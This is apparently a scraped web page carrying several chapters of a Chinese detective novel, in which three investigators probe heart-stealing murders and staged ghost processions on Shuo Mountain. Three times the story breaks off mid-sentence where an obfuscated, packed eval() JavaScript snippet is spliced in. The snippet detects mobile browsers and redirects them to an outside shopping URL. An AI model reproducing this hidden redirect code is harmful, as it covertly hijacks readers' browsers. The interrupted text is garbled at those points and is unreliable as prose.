万仙没好气道:“我真不知道你们叛逆个什么劲儿,放着自家大宅不住,偏要没苦硬吃。” 王博多充耳不闻,自顾自地在圆凳上闭上眼。 万仙无奈地摇了摇头,合上话本,站起身来。然后他伸出一只脚,朝自己刚刚坐的圆凳一踢,圆凳飞进王博多身下,严丝合缝地垫住他的腰。 王博多腾地跳起来:“仙儿哥,你真的不给我开个房间吗?我会打呼欸,你睡得着吗?” “下次想住别的客房直接说,别装可怜。”万仙眉毛一挑,道,“今晚你就睡这三圆凳床,等我睡着了你再睡。” “喂!”王博多大叫。 万仙却不理他,自顾自地躺到清寒夜的大床上。 但桌上的烛火并未被他吹灭,摇曳了一晚。 翌日,二人出城探案。 抵达玉河,已是下午。 他们不清楚吴华白的尸体是在玉河的哪个位子被发现的,正准备找人询问,就见不远处的岸边围满了人。 万仙把手里的折扇一收,同王博多疾步奔去。 “发生何事?发生何事?”王博多连连发问。 围观百姓中有人道:“又死人了!又死人了!” 王博多扒开围观的百姓,和万仙挤进了人群。 只见一具被打捞上来的尸体横卧在岸边,他的胸口被利刀挖出一个窟窿,里面的心脏不翼而飞。 王博多惊愕道:“这人该不会是……” 细细打量死者胸前窟窿的万仙循声望去,瞧见一张有几分熟悉的脸。 李辞天? 不。他打量尸体,想,此人身材比李辞天魁梧,个头也比他高一些,绝不是昨日他们见到之人。 那么面前这具尸体便是吴华白的好友、李辞天的阿兄,李落地了。 4. 第一案:鬼门开04 “你们是什么人?”见蹲在地上检查尸体的万仙和王博多不是熟面孔,住在玉河附近的村民问道。 “你们可记得前几日,在玉河上发现的那具尸体?”王博多站起身,撒谎道,“那人是我的堂兄。我为查他的死因,所以前来此地探访。谁料,竟又在这里碰到了与我堂兄死状一样的尸体!” 他的语气里有惋惜,有愤恨,让围观的百姓纷纷对他露出同情的神色。 末了,他才转身,冲一直蹲在地上检查尸体的万仙眨了眨眼,似在邀功。 万仙没有理他,而是仔细地打量着面前的李落地。 死去多时的李落地,此时最引人瞩目的是他胸前的空洞,空洞之中没有心脏。再者是他身上的擦痕,也不知是被人杀害时留下的,还是尸体在玉河里碰到石头留下的。但值得注意的是他手脚上的擦伤,它们绝不是冲撞留下的伤痕,而是像被什么东西捆绑之后,死者挣扎时留下的。 万仙检查完尸体后站了起来,看着前方的玉河,对着人群问道:“是谁发现了这具尸体?” “是我,我刚刚过来这边洗菜,结果就看到了这具尸体飘在河上。于是我赶紧叫来了人,把他捞了上来……”一个老妇人举起手来,颇为忌讳地说,“真是造孽啊,我以后怎么在这里洗菜啊!” “也就是说,这尸体很可能是从上游冲下来的?”万仙看向玉河的上游。 众人点头,脸上却都闪过一丝异样的神色。 万仙皱眉,道:“这玉河上游是何处?” “是铄山。”人群中有人道。 王博多的确瞧见远处隐隐约约有座高山。 “从此地过去,日落前应该可抵达。”他跟万仙分析道。 万仙点点头。 谁料发现尸体的老妇人诧异道:“你们该不会想连夜进山探案吧?” 还未等万仙和王博多说话,人群里就响起了劝阻声:“不可,不可。” “为何不可?”万仙问。 “那铄山邪得很。”老妇人不知不觉压低了自己的声音,道,“我们这边的村民从小就听老人讲,那山是极阴之地,有厉鬼守于其中,夜晚还会出来游荡,偶遇者必死无疑,且死状凄惨。” “哦?有这等事?”王博多诧异道,“但这不过是唬小孩的传说吧?” 那老妇人摇摇头,急道:“以前我们也不信啊!但是……前些日子真有人看到了鬼门开,鬼夜行!” 万仙疑惑地皱眉。 老妇人解释道:“铄山有一种名叫枯叶蝶的花,风干可入药。但这花开于夜,谢于晨。于是铄山周围村庄里的采药郎便只得深夜去采。我们村里原本也有一位采药郎,前几日他上铄山采这药,竟无意间撞见山中鬼门大开,鬼夜行,吓得他一路狂奔,跌跌撞撞跑下山来。回到村子,他便晕倒在地。醒来之后,他逢人就说山中有鬼,传说是真的!” “他会不会是误食药草,产生了幻觉?”王博多继续问道。 老妇人又摇了摇头:“我们一开始也这么以为。结果他发誓,那日去采药,他并未尝过任何药草。而且当晚月光明亮,采药郎又眼睛如炬,所以他看得一清二楚,绝不是什么岔眼或是幻觉。” “那采药郎现在身在何处?”万仙问。 “死了。”老妇人一副讳莫如深的表情,嘴巴却不停,“自从他从铄山回来后就夜不能寐,一日村里人上门取药,就发现他吊死在了家中,舌头伸得极长,死状可怖,正应了那传说,‘偶遇者必死无疑,死状凄惨’。” “所以你们怀疑,这尸体也跟铄山的鬼有关?”万仙指着李落地的尸体,问道。 众人点头。其中有人还道:“而且我听说,附近其他村子也有不少人离奇失踪,说不定也跟铄山里的鬼有关。” 万仙皱眉道:“那你们可曾瞧见其他尸体?” 这下众人摇头了。 万仙又问:“那第一次在玉河上发现尸体的时候,可有向官府提及铄山闹鬼一事?” “有没有啊,老蒋头?”老妇人看向人群中的一个老头。 老头点头如蒜捣,对王博多说:“你堂兄的尸身是我送去官府的,我有向他们提及过铄山闹鬼的事,你不曾听闻?” 王博多愣了片刻,不知道怎么圆场。 万仙赶紧道:“官府定是觉得闹鬼传说不可信,所以没有告知他。” “没错。”王博多道,“就算真有鬼杀人,官府的人也不会轻易告诉我们。万一传出去,造成恐慌可就不好了。” “哎……今日又捞上了一具尸体,想不恐慌也难啊。”老妇人道,“这鬼杀人,可不要波及山下百姓啊。” “就是,就是。虽然我们离铄山还有一段路程,但难保那些鬼不会……” “呸呸呸……别说这些不吉利的话!” 人群窃窃私语。 万仙这时回想起刚才老妇人说的话,道:“姐姐,你刚才说你们从小就听闻铄山厉鬼的故事?” 老妇人道:“怎么了吗?” “你说‘那山是极阴之地,有厉鬼守于其中’,它们守的是何物?” 老妇人小声地答道:“金子。” “金子?”王博多与万仙面面相觑。 “但我想那也不过是传说而已。”老妇人道,“如果铄山真有金子,别说山中有厉鬼了,就是山里住着阎王,那山也早就被夷为平地了。” 老妇人历经年岁洗礼,自是懂这人间道理。但是李落地和吴华白这两个后生,可就不一定能想得明白了。更何况,那时他们刚将自己身上的钱输光,他们很可能把这铄山当成白手起家的筹码,想去那里掘金发财…… 万仙和王博多还在思索,就被那老蒋头的话打断:“话也不能这么说,或许正是因为铄山有厉鬼守着,所以山里藏着的金子才没被人挖走。” “也对,也对,也许那采药郎上山并不是为了采药,而是为了掘金,所以才会被鬼索命。” 扯到金子,众人从窃窃私语变为了议论纷纷。 这时万仙冲着王博多,朝老蒋头的方向仰了仰头。 王博多立刻明白他的意思,掏出银两塞到老蒋头手中:“感谢您前几日送我堂兄尸身回城,今日这具尸体能否也帮忙送去城中?我见他死状与我堂兄相似,实在不忍心他曝尸荒野。” 老蒋头拿到王博多手中的银子,受宠若惊:“没问题,没问题。” 收好钱后,他才又问:“那二位不跟我一起回凌洛城吗?” 万仙扇着扇子,看向远处的铄山,道:“我们还有事要办。” “你们还要去铄山?”老蒋头和老妇人都惊讶不已。 万仙笑道:“本人最爱看世间稀奇之事。” “你不怕厉鬼索命,一命呜呼吗?!”老蒋头问。 万仙面不改色道:“若真能见到鬼夜行的奇景,此生无憾,一命呜呼又有何惧?” 这下换众人面面相觑。 而这头,万仙已经迈开了脚步,朝铄山走去,王博多赶紧跟上。 日薄西山时,万仙和王博多抵达铄山脚下,巍峨高山岿然不动竖立眼前。 “仙儿哥,你确定要夜探铄山吗?万一真碰上了鬼怎么办?”王博多跟在他身后,喋喋不休,“我虽学过点武功,但若真是魑魅魍魉,我怕是应付不过来。” “我刚才不是说了吗?若我们真能见到鬼,也算是死而无憾了。” “……”王博多咽了咽口水。喘吁吁地跟在万仙身后,不禁暗念,这万仙看似每日都在屋中看书写书,怎么脚步比他这个练过武的还快? 但万 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037480|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 仙脚步再快,也没有这夕阳沉得快。 没过一会儿,天就黑了下来,参天古木遮蔽圆月,让四周愈发黢黑。好在万仙和王博多两人的眼睛都很快适应了这黑暗,在树林间穿梭也不至于磕着碰着。幽冷的风吹过,让王博多打了个寒颤。 黄昏时还佯装无畏的他,此刻心里毛毛的。 于是他没话找话,问:“仙儿哥,你说这铄山里真的有金子吗?” 谁料万仙反问他:“你觉得呢?” “我想,或许是大家传错了,让人误以为这山里有金子。” “哦?” “仙儿哥,那玉河边的村民说,铄山的铄,是金字旁加个乐字。所谓铄山有金,就是铄山二字里有金字旁。金字,金字,传多了,就变出了金子。” 万仙忍俊不禁道:“亏你想得出这么牵强附会的解释。我若是写话本用上这推理,怕是要被人痛骂。” “啊?我还准备让你把我这巧思写进书中呢……” 王博多的话音刚落,山林里就响起了异响。那是一阵遥远的,轻飘飘的轰隆声。 “什么声音?”王博多皱眉,掏出随身携带的削灵刀。 据说这刀是“异宝博多”当铺收来的神刀,刀身轻薄如纸,却坚韧难断,且锋利无比。 此刻,王博多持刀护在万仙身侧。 万仙虽也露出警觉的神色,却仍提醒他:“听声音,离我们有段距离,莫慌。” 他收起折扇,同王博多循声走去。 刚刚他们在这铄山里漫无目的地行走,走得极慢,现在有了方向,两人的脚步不自觉地加快。 越往深山里走,越感觉寒风刺骨。再左顾右盼,就见不知何时,这山林间已有了雾气。错落的草木隐在雾气里,如鬼影幢幢,令人毛骨悚然。 饶是有万仙伴于身旁,王博多此刻捏着削灵刀的手也紧张到发黏。 “等等,仙儿哥,我是不是紧张到出现幻觉了?”不多时,王博多小心翼翼地凑到万仙身边说道,“我怎么听到了一些更奇怪的声音?” 万仙在雾中挺身而立,环顾四周,一脸冷峻。 “我也听到了。” “你也听到了?!”王博多咽了咽口水。 风吹来了,那诡异的声响又开始了。 起初是奇异的冥音,如灵堂上的哀乐,溶于雾中,扩散开来。接着是鬼魅的嬉闹声,“咦嘻嘻——咦嘻嘻——”。那如同来自地狱的声音,钻入耳朵,在二人心里激荡出恐惧之感。 就在王博多仔细聆听,惴惴不安时,万仙忽然拽了他一把。 被他这一拽,王博多吓得几乎叫出声来。 万仙修长有力的手牢牢地捂住王博多的嘴巴,将他带到一棵巨树后头。 许久,二人才探出脑袋,朝山林的雾气里望去。 突然!如同从坟墓里爬出来似的,一只手从雾气里刺了出来。接着,一张苍白的脸浮现,然后是一具干瘦的身躯,扭曲着向前移动。 那是一只从雾里爬出来的鬼! “咦嘻嘻——” 那诡异的笑声又响起了,只见那扭曲爬行的鬼身旁,飘出了另一只鬼。 他一袭白袍,手持燃着幽蓝磷火的人骨灯笼,面色苍白如纸。他没有眼白的双眼像是通往地狱的黑洞,仿佛被他一瞧,灵魂就会随着坠入无边深渊。 而更令人感到毛骨悚然的是,白袍鬼身后,更多奇形怪状的鬼从雾中显出形状。 有的长发如藻,垂于面前,诡谲异常;有的头颅怪异,脸如蛟龙角似鹿角;有的头顶白色高帽,手持哭丧棒行如游魂;有的则头顶黑色高帽,拖着一根索命链,发出凄厉的声响…… 王博多不可思议地瞪大了双目! “鬼门开,鬼夜行”的传说居然是真的! 5. 第一案:鬼门开05 王博多颤抖着身子,看着鬼们行远后,才小声道:“仙儿哥,他们真的是鬼吗?” 万仙没有回答他,而是从巨树后面闪出。 “喂,你去哪?” “跟上去瞧瞧。这世间奇景,不可多得。” “……” 王博多本是不敢追去的,可这荒郊野岭,鬼影幢幢的,留他一个人在原地,更是让他害怕。于是他一咬牙,还是跟了上去。 万仙和王博多小心翼翼地与那夜行的队伍保持着距离。 “仙儿哥,你有没有闻到一股腐臭味?”王博多掩着鼻子,压低声音道。 万仙自然也闻到了,那飘散在空气中的腐臭之味,让这鬼夜行更加可怖,令人恐惧作呕。 “嘘——”万仙打了个手势,拉着王博多又是一闪,躲进了身边的草丛。 王博多又是一阵心惊肉跳。他双腿发软地跪在地上,好不容易才镇定下来,随着万仙从草丛向外望去。 只见那原本一直向前的夜行队伍抵达了一道嵌在山体里的石门前,那些奇形怪状的鬼们纷纷转过身来,背对着石门,像是在打量山林里是否有人在偷窥他们。但是他们似乎没有发现万仙和王博多。于是石门打开来,那走在前头的白袍鬼提着人骨灯笼率先进入漆黑的洞窟。接着,其他鬼鱼贯而入,不一会儿,山林里已没有了鬼的踪迹。 石门关闭,竟缝合成一块巨石,靠在山体上。若不是亲眼所见它曾一分为二,谁也想到那竟是一道山门。 “那该不会就是传说中的‘鬼门’吧?”王博多终于吐出了一口气,惊讶道。 万仙笑了笑,站起身来,打开折扇,扇着风往山下走。 “喂,仙儿哥……”王博多追上他,不无担忧地嚷道,“仙儿哥,你说,我们刚才看到了鬼夜行,会不会真如传说那样死于非命啊?” “你这时才担心这些,未免晚了些。” “刚才不是太震惊,没来得及想那么多嘛。”王博多见万仙往山下走,问道,“仙儿哥,我们现在去干嘛?” “鬼门已关,我们回家睡觉,不然你准备在这深山老林继续喂蚊虫啊?” 万仙说着,突然脚步一顿,耳朵也跟着警惕地动了动。 他像是被树上的什么声音吸引,猛地转过头去。 “树上有动静。”万仙敏锐地说道。 王博多紧张地咽了咽口水:“该不会是那些鬼追来了吧?!” 万仙思索片刻,冲着那声音的方向嚷道:“在树上行路,不累吗?” “啊?”王博多不明所以地看着万仙。 结果下一瞬,不远处的树梢传来树叶被风掠过时发出的沙沙声。 一个身影从树上飞旋而下,隐在树林之中。 王博多立即掏出他的削灵刀,护在万仙身侧。 万仙却依旧泰然自若地扇着扇子。 只见那神秘的身影从阴影里走了出来,借着月光,万仙和王博多看清了那人的长相。他一袭黑衣,腰佩不忍剑,迎风而立,挺拔如松。棱角分明的脸庞上,一双深若幽泉的眼睛略带轻蔑地看着万仙。 “雾山角(jiao)?”王博多从此人腰上那把名曰“不忍”的长剑,认出了他的身份。不忍剑曾被藏于异宝博多当铺,后被人买走,赠予了雾山角。这把锋利无比,独一无二的长剑,便成了他的一个标识。 但显然,长剑的现任主人此刻很不高兴。 因为…… “是雾山角(jue)!”雾山角咬牙切齿,高冷无比地纠正王博多。 谁知在他说出口的瞬间,万仙也纠正道:“是雾山角(jue)。” “……”雾山角因为两人的异口同声,一时哑然。 万仙作揖,打破尴尬,道:“您也来查挖心案?” 雾山角冷冷道:“明知故问。” “你可有瞧见刚才的鬼夜行?”王博多换上吊儿郎当的语气,问道。 “我又没瞎,怎会没瞧见那装神弄鬼的阵仗?”雾山角睨一眼王博多。 王博多立即冲他做了一个鬼脸。 雾山角乃是凌洛城知县的侄子,年纪轻轻就进衙门办事,是知县的得力助手。知县叫他小师爷,凌洛城里的人遇到他便也叫他小师爷。但王博多不这么叫他。因为他似乎对他的仙儿哥怀揣敌意。 自从万仙来到凌洛城,凌洛城第一神探的名号便不是他雾山角的专属之称了。 好比李落地和李辞天两兄弟,当一方夺走了另一方的光芒,那么势必两人的关系就剑拔弩张了起来。 虽然万仙不在乎什么名号称谓,但架不住这勇悍无双的小师爷把他视为对手。 这一切还是要从万仙来到凌洛城,侦破的第一起案子——藏乐楼藏尸案说起。那一次,雾山角还没找到什么线索呢,万仙就逮到了那伪装成尸体的闹事者,逼问出了幕后主使。万仙因此名声大噪,第一次驳了雾山角的脸面。 后来,万仙写话本出书,更是将自己的名气在凌洛城里打响。人们遇到一些疑难的案子,第一个想到的不再是去衙门里求雾山角出马,而是去藏乐楼请万仙公子。雾山角的心里哪能舒坦?万仙这家伙不知从何而来,身份成谜不说,偏偏还要定居凌洛城抢风头,真是莫名其妙,不识好歹! 雾山角不想遇见他,所以今晚在铄山瞧见他带着王博多来查案,自己就飞身上树,一路悄然跟随。没想到武功高强如他,还是被万仙发现了踪迹。 ——以上皆是王博多的妄自揣测。 而这边,雾山角正在不解:万仙到底是怎么察觉到我的? 这时,万仙走到了他的身旁,问道:“雾山兄,你不觉得那些鬼是真的?” “难道你觉得那些鬼是真的?”雾山角不屑地扯了扯嘴角,迈开步子寻着山路下山。 地上的路总比树上的路好走,他是为了节省体力才下了树,可不是因为被万仙发现,不得已现身的!他暗忖。 万仙则摇着扇子,慢悠悠地走在他身侧,轻飘飘地说:“如果雾山兄觉得那些鬼不是真的,那便不是真的。” 雾山角嚷道:“少来,你怎会不知道,那不过是宵小的雕虫小技?” 还未等万仙接话,王博多道:“那些鬼是假的啊?” “你不应该庆幸吗?若世上真有鬼,夜夜来寻你,你可睡得着?”万仙道。 “可是……我们明明看到了那没有眼白的白袍鬼,还有那些拥有奇形怪状头颅的怪物啊……” “那些不过是装神弄鬼之人粗陋的想象罢了。毕竟人是很难想象自己没有见过的东西的。” 王博多听糊涂了:“这话是什么意思?” “还能有什么意思。”雾山角道,“我们刚刚看到的鬼是人假扮的。因为没见过真的鬼,想象不出更奇异的鬼的样子,所以我们才看到了那人形模样的白袍鬼,只是他装扮得恐怖了些罢了。至于他为什么没有眼白,也许是身体病变所致的异瞳。你想想看,其他鬼身上,那些奇形怪状的头颅,是不是都是动物的组合?” 王博多仔细一回忆,果然如此。 “还有那两个戴高帽的鬼,明显是根据黑白无常的形象改造的。”万仙补充道,“若那些真的是鬼,这些鬼未免也长得太像话本、传说里的模样了。” 王博多道:“可万一真的鬼就长这样呢?” “你方才被吓到,没注意到刚才鬼夜行的路上留有的脚印。他们看似是飘过去的,实则是碎步而行。”万仙道,“真的鬼若是有这重量,指不定会被人捉住,分成几斤几两卖了。” 王博多:“……” 雾山角看着万仙,不羁道:“所以你觉得,他们为何装神弄鬼?” “或许是山中真有黄金,所以他们以此吓唬周边的村民,让其不敢深夜接近此山。然后,他们就可以在山中挖土掘金。”万仙回答。 “亏你还写话本,这想象不够丰富啊。” “哦?雾山兄有何高见?”万仙饶有兴致地问道。 雾山角轻蔑地一扬嘴角,故意咳了几声,挺起胸膛道:“你觉得我们能想到这鬼夜行是人假扮的,其他人就想不到?” “玉河村的采药郎不就以为那鬼夜行是真的?” 雾山角调查到的不比万仙他们少,所以他道:“我承认,的确有人被吓到夜不能寐,精神饱受折磨,忍受不了上吊而亡。但是对于吴华白和李落地来说,可能不一样。” “怎么不一样?” “或许他们在见到鬼夜行时被吓到了,但是,回过神来后,他们跟我们一样,意识到那不过是有人装神弄鬼。” 王博多一脸“你凭啥这么想”的表情。 雾山角道:“你要想,他们可是输了个精光才寻到铄山来的……” “没想到你调查得还挺多的。”王博多说。 雾山角不理会他。他聊起案子,跟万仙一样痴迷,只听他认真分析道:“吴华白和李落地当时穷途末路,才因铄山的传说,决定上铄山寻金。虽然听闻铄山有鬼镇守,但常人,尤其是初生牛犊不怕虎的年轻人,大抵是不信传说的。结果他们如我们今晚一样,真的看到了鬼夜行。 “他们一开始一定十分惊讶,传说居然是真的!奔着黄金来的他们,肯定会想,既然鬼是真的,那么铄山有金子的事也一定是真的!他们一定会留在山上,思考怎么找到山中的黄金。就在这个过程中,他们可能跟我们一样发现,这些鬼路过的地方留有脚印。可是鬼怎么会有脚印呢?冷静下来的他们应该也察觉到这一切不过是有人在装神弄鬼。 “意识到这件事后,吴华白和李落地就会想,为什么这群人要装神弄鬼呢?” “因为装神弄鬼之人很可能也是来铄山掘金的!”王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037481|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 博多恍然大悟,“他们假扮鬼夜行,就是为了让传说重新被居住在山周围的人记起,让他们不敢再深夜靠近此山,方便他们掘金。等等,这不是跟仙儿哥推测的一样吗?” “急什么。”雾山角自顾自分析道,“吴华白和李落地也是这么以为的。他们觉得,那些人费尽心思假扮鬼是因为发现了铄山里的黄金,偷偷在挖金子呢。于是他们心中大喜,决定去查看一番。他们怀疑,黄金就在鬼门之中,自然就决定混进去瞧瞧,结果命丧于此。因为这一切,不过是凶手为他们这群贪财之人设下的陷阱而已。” “为什么要对他们设下陷阱?”万仙饶有兴致地问。 “可能就是为了取走他们的心脏。”雾山角道。 “为什么不是吴华白和李落地混进鬼门后,被掘金者发现,所以杀人灭口?”万仙发问,语气里却没有过多的疑惑。 “如果他们只是因为发现了掘金者的秘密,所以被灭口,那么……凶手何须费尽心思挖走他们的心脏?一刀毙命,简单快速,也不用惹得满手鲜血。”雾山角分析道,“所以我觉得,其实铄山根本没有金子。这一切不过是有人设下的圈套。他们借由铄山的传说,装神弄鬼,骗来好奇之人,或是本就想要在铄山掘金之人,把他们引诱进山洞里杀害,取走他们的心脏。” “取走他们的心脏有何用?”王博多不解。 “这就得我们抓住凶手后,亲自问问了。”万仙道。 “仙儿哥,你也同意他的推测?” 万仙扇着扇子,缓缓点头:“我觉得雾山兄分析得颇有道理。不亏是凌洛城第一神探。” “少来!”雾山角觉得万仙阴阳怪气的,生气似的加快了脚步。 “雾山兄且慢。”万仙叫住他。 “又有何事?”雾山角不耐烦道。 万仙说:“我想知道,你下一步想怎么做?” “自然是带着衙门里的差役将这群装神弄鬼之人一锅端了。” “大张旗鼓,怕是会打草惊蛇。”万仙压低声音提醒道,“你我今晚都第一次来此吧?” “那又如何?” “我们应该都没想过,第一次来,就瞧见这鬼夜行吧?” 雾山角立刻意识到了什么。 “你是说,有人在暗中监视山中是否有人?” “不无可能。”万仙道,“如果大张旗鼓地带人来捉拿他们,他们说不定会提前落跑。” 雾山角知道万仙所言极是,于是皱起眉头来。 万仙眼睛一转,道:“所以,雾山兄,我们何不合作?” “合作?” “我们佯装自己是为了金子鬼迷心窍之人,像吴华白和李落地一样,混进那群鬼中,去那鬼门里一探究竟如何?至少得搞明白,他们为何要挖走人的心脏。” 雾山角却拒绝道:“你觉得吴华白和李落地,会不知道这鬼门之后的危险?他们肯定也有所准备,才混进去的。而且我还打听到,他们多少会点武功。但即便如此,他们也死无全尸……现在,就凭你这文弱书生……” 雾山角上下打量万仙:“我看你混进去探案,也是纯属找死。” “所以我才求雾山兄带我同去嘛。”万仙拍起雾山角的马屁,“你武功盖世,定是能将他们这些宵小一网打尽。” “少来花言巧语!”雾山角道,“就算不带差役,我也可以一人将他们缉拿归案,何须再带上你们两个拖后腿的去?” “这不吴华白他爹托我查案嘛。我若是不做点什么,怎好意思收那笔钱。” “这跟我又有什么关系?”雾山角再次冷硬地拒绝。 王博多不悦起来,道:“仙儿哥,你求他干什么?我们自己也能混进鬼门里查案,何须他来抢风头!” 万仙看看他手里攥着的削灵刀,又看看雾山角腰间的不忍剑,无奈地在心里叹了口气。 他知道王博多的武功敌不过那么多贼人。而他自己……他暂时还不想被人发现他其实会武功这件事,所以他必须得找雾山角这个靠谱的习武之人进鬼门才行。 就在万仙思索之际,雾山角像是被王博多的话点醒似的,扯了扯嘴角。 他冷峻的脸上,露出戏弄的神情。 “不过,如果你这小小万仙愿意求我的话,我倒是可以考虑带你见见世面。” 王博多“呵”地一歪嘴,嚷道:“谁稀罕求你啊!” 结果他话音刚落,就见万仙一弯腰,一作揖,道:“雾山兄,求求了!” 王博多:“……” 一旁的雾山角显然也没想到万仙如此能屈能伸,不由愣了片刻。 但话已如水般泼出去,他只能咳嗽了几声道:“我可先说明,我可以带你们进鬼门,但这案子得算在我头上,可不是你们破的!” 万仙持扇而笑:“听雾山兄的便是。” 6. 第一案:鬼门开06 翌日,凌洛城内。 王博多打着哈欠,引着万仙来到一家专做面具的小店,他们身后跟着环抱双臂,臭脸一张的雾山角。 雾山角走了一夜山路,此时也困意渐起,时不时偷偷揉眼睛。但他绝不表示自己想回去休息,因为走在前头,依旧悠闲自得扇扇子的万仙,精神抖擞得像是昨晚酣睡了一夜。此人精力为何如此之多?雾山角心中不忿。 而万仙像是没有注意到身旁这两人的困意,脚步铿锵地踏入面具店。 因为只有固定的一些节日,凌洛城的百姓才会想起戴面具上街游玩,所以这家面具店生意冷清,店面极小,也是凌洛城的独一份。店铺老板姓魏,此时正躺在木制躺椅上剥手掌老茧的皮。见到万仙三人来访,他立刻起身迎了过来。 他率先认出了雾山角:“小师爷,有何贵干?” 王博多对雾山角咋舌:“你既然跟魏老板熟,干嘛还要我带路?” 雾山角:“你自己殷勤地走得飞快,与我何干?” 王博多:“你……” 魏老板打量了一眼与雾山角针锋相对的王博多,思索了片刻,想起他来,道:“你是‘异宝博多’的大公子,王博多?” “没错。” “那这位是……”老板看向万仙。 “在下万仙。”万仙作揖道,“今日来访,是有事相求。” “但说无妨。” “近日,或这半年来,是否有人向你定制过一批面具头套?它们形状各异,或脸如蛟龙头有鹿角,或如虎似狼恐怖万分,或……” 万仙还未说完,老板就摇了摇头。 “要是有这样的单子就好咯。”老板指着店里的面具,忍不住抱怨道,“我从小便爱做这些玩意儿,但这玩意儿并非百姓生活的必要之物,销量惨淡,糊口都难。” 万仙入门时已扫过一眼,此店卖的面具也有恐怖的样式,却与铄山装神弄鬼之人的并不一致。再看魏老板那诚恳的眼神,万仙觉得他不像是在撒谎。那么…… 万仙还没细想下去,雾山角就道:“那你们这里可以做我们刚才说的那种面具头套吗?” “似虎似狼的?” 雾山角点头:“或是其他动物的结合也行,只要诡异恐怖,如鬼似怪就成。” “啊?”魏老板忍不住道,“你们要这些做什么?” “就问你能不能做吧。”雾山角不怒自威。 “能做是能做……就是需要点时间,也需要点……”魏老板咧嘴一笑,捻了捻拇指与食指。 “做两个。”王博多掏出银子,丢给魏老板,然后指了指自己和万仙的脑袋。 魏老板捏着钱,看向被排挤的雾山角。 雾山角斜了王博多一眼,自己掏出银两递给魏老板:“给我也做一个。” 王博多看他掏的银两甚少,不禁嚷道:“你头那么大,就给这么点?” 雾山角把手往腰间的不忍剑上一放,冷冷道:“信不信我杀了你!” 魏老板随即和事佬上身,对王博多道:“给你退点钱,退点钱,其实不需要那么多。” 王博多这下倒起了范:“你拿着便是,小爷不缺这点钱。” 万仙无奈地摇头,想,付不起藏乐楼房费的时候,你可不是这副模样。 但他最后也没有帮王博多把这笔钱要回来。他相信有钱能使鬼推磨,于是道:“魏老板,既然我们给了额外的银两,那么这面具头套的制作可快一些?” “那是一定,那是一定。” 魏老板应允三日之内做好,三人才满意地离开了这家小店。 在一处路口,万仙与雾山角告别,带着王博多回藏乐楼。 雾山角看着他们走远,终于卸下硬挺着的肩膀,飞身上瓦,快步回家歇息。 万仙虽未转身,但耳朵听见那屋顶上的飞掠之声,便也猜到了他的猴急,忍不住笑了笑。 王博多这次却没有聒噪地问“仙儿哥,你笑什么?”,因为刚才与雾山角斗嘴已消耗了他全部精力,现在他已经困得满眼是泪。 他催着万仙赶紧回去藏乐楼大睡一场,谁料刚走到藏乐楼附近,就瞧见两个长得一模一样的大汉站立藏乐楼门口,目光四下逡巡。 “阿奇阿怪?!”王博多惊讶地瞪大眼睛,撒腿就跑。 万仙扶额:“你跑就跑呗,喊那么大声干嘛。” 只见门口的阿奇阿怪听到动静,转过身来,瞧见了王博多的身影,立刻追了上去。 “少爷!你这次过分了!离家十日不回,夫人都快气疯了!” “少爷!我们又不是豺狼虎豹,你跑什么啊!” “少爷!别跑!我们也只是奉命行事呀!” 万仙呲着牙,事不关己似的伫立在原地,只感觉有两阵旋风呼啸而过,卷起了地上的尘沙,令他不由地举起扇子往脸上一挡。 而那头,精疲力尽的王博多哪跑得过脚步矫健的双胞胎大汉,很快就被他们两个逮住,架了起来。 “放开我!放开我!救命啊!非礼了!”王博多大喊大叫,阿奇阿怪见怪不怪,就像街上的百姓一样,只觉得他滑稽好笑。 万仙终于忍不住回头望去。见王博多挣扎着踹掉了一只鞋,他忽然眼神一动,疾步上去,捡起了那只鞋。 王博多喊道:“仙儿哥!救我……” 万仙疾步走到他面前,示意阿奇阿怪停下。 “万仙公子,我们奉老爷之命,带少爷回去,还请你不要为难我们。”不知是阿奇还是阿怪说道。 万仙拎着王博多的鞋,道:“你家少爷的鞋做工精良,价格不菲,丢了实属可惜。” 说完,他蹲下身子,欲要给王博多穿鞋。 王博多大惊:“仙儿哥,我自己来就行。” 他挣脱开阿奇阿怪的束缚蹲下身子来,万仙赶紧小声地同他耳语了几句。 王博多听完万仙的话,低声回应道:“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17037482|194637||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那三日后,你在藏乐楼等我。” 万仙点点头,站起身子。 王博多自己穿好鞋子,也站了起来。 阿奇阿怪皱着眉头,警惕地盯着他看,生怕他又落跑。 结果王博多这下不挣扎,不胡闹,也不落跑了。 他打着哈欠,朝阿奇阿怪挥挥手,轻描淡写道:“回家睡觉。” 阿奇阿怪愣愣地跟在他身后,边走边时不时地回头,瞄一眼万仙。 也不知道这万仙公子给他们家少爷下了什么迷魂汤。 